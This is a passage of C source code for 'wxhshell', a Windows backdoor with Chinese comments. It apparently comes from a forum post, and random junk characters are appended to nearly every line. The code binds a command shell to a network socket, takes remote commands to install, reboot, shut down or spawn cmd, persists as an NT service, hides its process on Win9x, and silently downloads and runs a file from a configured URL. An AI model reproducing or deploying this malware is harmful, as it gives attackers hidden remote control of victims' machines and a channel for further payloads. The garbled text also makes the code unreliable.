      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;]Q6K9.d8  
    break; bV&9>fC  
  } bA#9'Qu^j  
  // 安装 )V2W:M  
  case 'i': { #8"oqqYi  
    if(Install()) r4X}U|s!0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4k@n5JNa  
    else > d p/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); reh{jMC  
    break; wCNn/%C  
    } I ]ZZN6"  
  // 卸载 *YeQC t-l  
  case 'r': { jBYv Oy*$Q  
    if(Uninstall()) S\8v)|Pr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h Fv{?v  
    else oH%[8!#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I{g.V|+ x  
    break; ApeqbD5g&  
    } IoLi7NKw  
  // 显示 wxhshell 所在路径 s__xBY  
  case 'p': { sV a0eGc  
    char svExeFile[MAX_PATH]; \Dq'~ d  
    strcpy(svExeFile,"\n\r"); rN} 8~j  
      strcat(svExeFile,ExeFile); KoNu{TJ  
        send(wsh,svExeFile,strlen(svExeFile),0); N~8H\  
    break; }-Mg&~e`  
    } d2#NRqgQ  
  // 重启 e7@ m i  
  case 'b': { ai sa2#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pvyEs|f=%  
    if(Boot(REBOOT)) oc( '!c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WSH[*jMA  
    else { FefroaJ:u  
    closesocket(wsh); n>q!m@ }<  
    ExitThread(0); %T]^,y$n  
    } K9k!P8Rd  
    break; Q*>)W{H&)  
    } x5Lbe5/P  
  // 关机 *7h~0%WR  
  case 'd': { b+|Jw\k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @}d;-m~  
    if(Boot(SHUTDOWN)) 6(`N!]e*L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <N=k&\  
    else { YJ6~P   
    closesocket(wsh); (V6bX]<  
    ExitThread(0); I!Z`'1"  
    } 3t TOs  
    break; 2 3PRb<q  
    } -|m3=#  
  // 获取shell JK =A=  
  case 's': { #!R>`l(S  
    CmdShell(wsh); }b(h D|e  
    closesocket(wsh); Th9V8Rg+E  
    ExitThread(0); JfN5#+_i  
    break; !t23 _b0  
  } ,]2?S5R  
  // 退出 =){ G  
  case 'x': { uxU-N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cWkg.ri-x  
    CloseIt(wsh); dRJ ](Gw  
    break; 'OtT q8G  
    } fAULuF  
  // 离开 -`k>(\Q< d  
  case 'q': { i86:@/4~F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F5Xb_&   
    closesocket(wsh); TI7$J#  
    WSACleanup(); )_jboaNzwI  
    exit(1); _:m70%i  
    break; FQ<x(&/NF  
        } V pnk>GWD  
  } h(/? 81:  
  } PF`uwx@zH  
AfTm#-R  
  // 提示信息 eA!Z7 '  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .A< HM}   
} Og7yT{h_  
  } IEy$2f>Ns  
YP02/*'  
  return; aA|{r/.10K  
} %[p*6&V  
`}),wBq  
// shell模块句柄 })-V,\  
int CmdShell(SOCKET sock) 1YV1 Xnn,  
{ 6m;>R%S_  
STARTUPINFO si; *m"9F'(Sd  
ZeroMemory(&si,sizeof(si)); I_ZJnu<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w"9h_;'C_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z5q%L!4G  
PROCESS_INFORMATION ProcessInfo; ~JL qh  
char cmdline[]="cmd"; k={D!4kKz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b \}a   
  return 0; caQ1SV^{9  
} V|'@D#\  
"mJo<i}  
// 自身启动模式 lubsLI  
int StartFromService(void) 7#E/Q~]'6  
{ #7 O7O~  
typedef struct e`4mrBtz|  
{ cn} CI  
  DWORD ExitStatus; daKZ*B|  
  DWORD PebBaseAddress; gtuSJ+up  
  DWORD AffinityMask; n{4iW_/D  
  DWORD BasePriority; [}4zqY{  
  ULONG UniqueProcessId; #g6_)B=S  
  ULONG InheritedFromUniqueProcessId; H2jypVs$2  
}   PROCESS_BASIC_INFORMATION; X <xM '  
%0-oZL  
PROCNTQSIP NtQueryInformationProcess; yf:0u_&]  
u<:uL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^s6~*n<fH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eV?%3h.   
~RbVcB#  
  HANDLE             hProcess; Eq)b=5qrG?  
  PROCESS_BASIC_INFORMATION pbi; aE07#  
jI8`trD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @:zC!dR)G  
  if(NULL == hInst ) return 0; `C>h]H(  
pqO3(2F9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bDvGFSAH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w]gLd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E^rBs2;9  
bKS/T^UQ  
  if (!NtQueryInformationProcess) return 0; AJ/Hw>>$?m  
4xW~@m eNB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2`]c&k;]  
  if(!hProcess) return 0; )isS^O$qH  
M]5l-i$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oi0O4J%H  
Vl1.]'p_  
  CloseHandle(hProcess); VzSkqWF/"  
lD$s, hp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7RUztu\_  
if(hProcess==NULL) return 0; Ye On   
J8~hIy6]  
HMODULE hMod; ti+e U$  
char procName[255]; cY!Y?O  
unsigned long cbNeeded; m%J?5rR3  
;b [>{Q;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =r/K#hOR\J  
@-)S*+8  
  CloseHandle(hProcess); ^IiA(?8  
w]MI3_|'r(  
if(strstr(procName,"services")) return 1; // 以服务启动 X40gJV<  
`S((F|Ty=;  
  return 0; // 注册表启动 l)$mpMgAD  
} Q+Nnj(AQY  
@~2k5pa  
// 主模块 ]CP5s5  
int StartWxhshell(LPSTR lpCmdLine) A/=cGE  
{ 6g-jhsW6  
  SOCKET wsl; P7}w^#x  
BOOL val=TRUE; i}LQ}35@  
  int port=0; qE2<vjRg  
  struct sockaddr_in door; &k)+]r  
3)VO{Cj!  
  if(wscfg.ws_autoins) Install(); l atm_\  
 $Z &6  
port=atoi(lpCmdLine); %t_'rv  
+jrx;xwot  
if(port<=0) port=wscfg.ws_port; Z6gwAvf<  
`{YOl\d_  
  WSADATA data; X#axCDM-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EO+Ix7w  
TQeIAy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %rs2{Q2k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uvl91~&G  
  door.sin_family = AF_INET; fAStM:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;L87 %P(.  
  door.sin_port = htons(port); s8(Z&pQ  
<6]Hj2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { umP nw  
closesocket(wsl); Q']'KU.  
return 1; ^e "4@O"  
} ,eebO~7vB  
\|X 1  
  if(listen(wsl,2) == INVALID_SOCKET) { #p=+RTZ<  
closesocket(wsl); 9hK8dJw  
return 1; Qq{tX  
} wa[J\lW  
  Wxhshell(wsl); N/-(~r[  
  WSACleanup(); iU.` TqR7  
EM<W+YU  
return 0; u^C\aujg  
K'8o'S_bF  
} R5MN;xG^  
Usht\<{  
// 以NT服务方式启动 |qpm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @I Y<i5(  
{ Flpl,|n a  
DWORD   status = 0; TS=%iMa  
  DWORD   specificError = 0xfffffff; zk70D_}L  
vyc<RjS_x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ++w{)Io Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~+ae68{p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  U'b}%[  
  serviceStatus.dwWin32ExitCode     = 0; LkeYzQH/l  
  serviceStatus.dwServiceSpecificExitCode = 0; z1RHdu0;z  
  serviceStatus.dwCheckPoint       = 0; )e[q% %ks  
  serviceStatus.dwWaitHint       = 0; Wsd_RT}ww  
X%!?\3S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?>=vKU5  
  if (hServiceStatusHandle==0) return; lKQjG+YF  
+:#g6(P]  
status = GetLastError(); BB,-HhYT0  
  if (status!=NO_ERROR) #\F8(lZ  
{ Mf"(P.GIS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =S^vIo)  
    serviceStatus.dwCheckPoint       = 0; MAqETjB  
    serviceStatus.dwWaitHint       = 0; 1jSmTI d  
    serviceStatus.dwWin32ExitCode     = status; jz'%(6#'gW  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]Gm&Kn >  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y edF%  
    return; LfnQcI$kO  
  } /;TD n>lq  
/jaO\t'q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?~^p:T  
  serviceStatus.dwCheckPoint       = 0; " d~M \Az  
  serviceStatus.dwWaitHint       = 0; K~&3etQF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BR6HD7G  
} WVyq$p/V  
?fU{?nI}>p  
// 处理NT服务事件,比如:启动、停止 Zjc/GO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $ ga,$G  
{ 2Sy:wt  
switch(fdwControl) qyE*?73W  
{ h9A=20fj  
case SERVICE_CONTROL_STOP: @uxg;dyI~  
  serviceStatus.dwWin32ExitCode = 0; 50S*_4R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H6#SP~V  
  serviceStatus.dwCheckPoint   = 0; ^s8JW"H  
  serviceStatus.dwWaitHint     = 0; Hb!A\;>  
  { Q Na*Y@i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BH^cR<<j  
  } }/xdHt  
  return; k3 '5Ei  
case SERVICE_CONTROL_PAUSE: 1{xkAy0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; odeO(zuU  
  break; _=5\$6  
case SERVICE_CONTROL_CONTINUE: ,E(M<n|.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wGz_IL.D  
  break; F j"]C.6B.  
case SERVICE_CONTROL_INTERROGATE: $iy(+}  
  break; F>u/Lh!  
}; '~6l 6wi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SZgan  
} +I~U8v-  
tN)Vpb\J  
// 标准应用程序主函数 ' #r^W2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HBa6Y&)<  
{ G)5Uiu:^X  
||Wg'$3  
// 获取操作系统版本 H,fVF837  
OsIsNt=GetOsVer(); 8/9YR(H3H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j1@PfKh  
FZ% WD@=  
  // 从命令行安装 'xOH~RlE  
  if(strpbrk(lpCmdLine,"iI")) Install(); :)Nk  
t1l4mdp  
  // 下载执行文件 6 1K:SXj  
if(wscfg.ws_downexe) { zt )WX9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7sJGB^vM  
  WinExec(wscfg.ws_filenam,SW_HIDE); n{F&GE="  
} 4,6?sTuX  
0?g&<q  
if(!OsIsNt) { Sj'.)nz>  
// 如果时win9x,隐藏进程并且设置为注册表启动 $)O\i^T  
HideProc(); 49#?I:l  
StartWxhshell(lpCmdLine); 41XXL$  
} b@1";+(27  
else P6ugbq[x#e  
  if(StartFromService()) SQ`ec95',  
  // 以服务方式启动 6}mSA@4&  
  StartServiceCtrlDispatcher(DispatchTable); 6<Zk%[7t  
else L: _pJP  
  // 普通方式启动 H,1I z@W1  
  StartWxhshell(lpCmdLine); h3-dJgb  
s[/)v:  
return 0; /%^^hr  
}
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只看该作者 1 发表于: 2006-10-10
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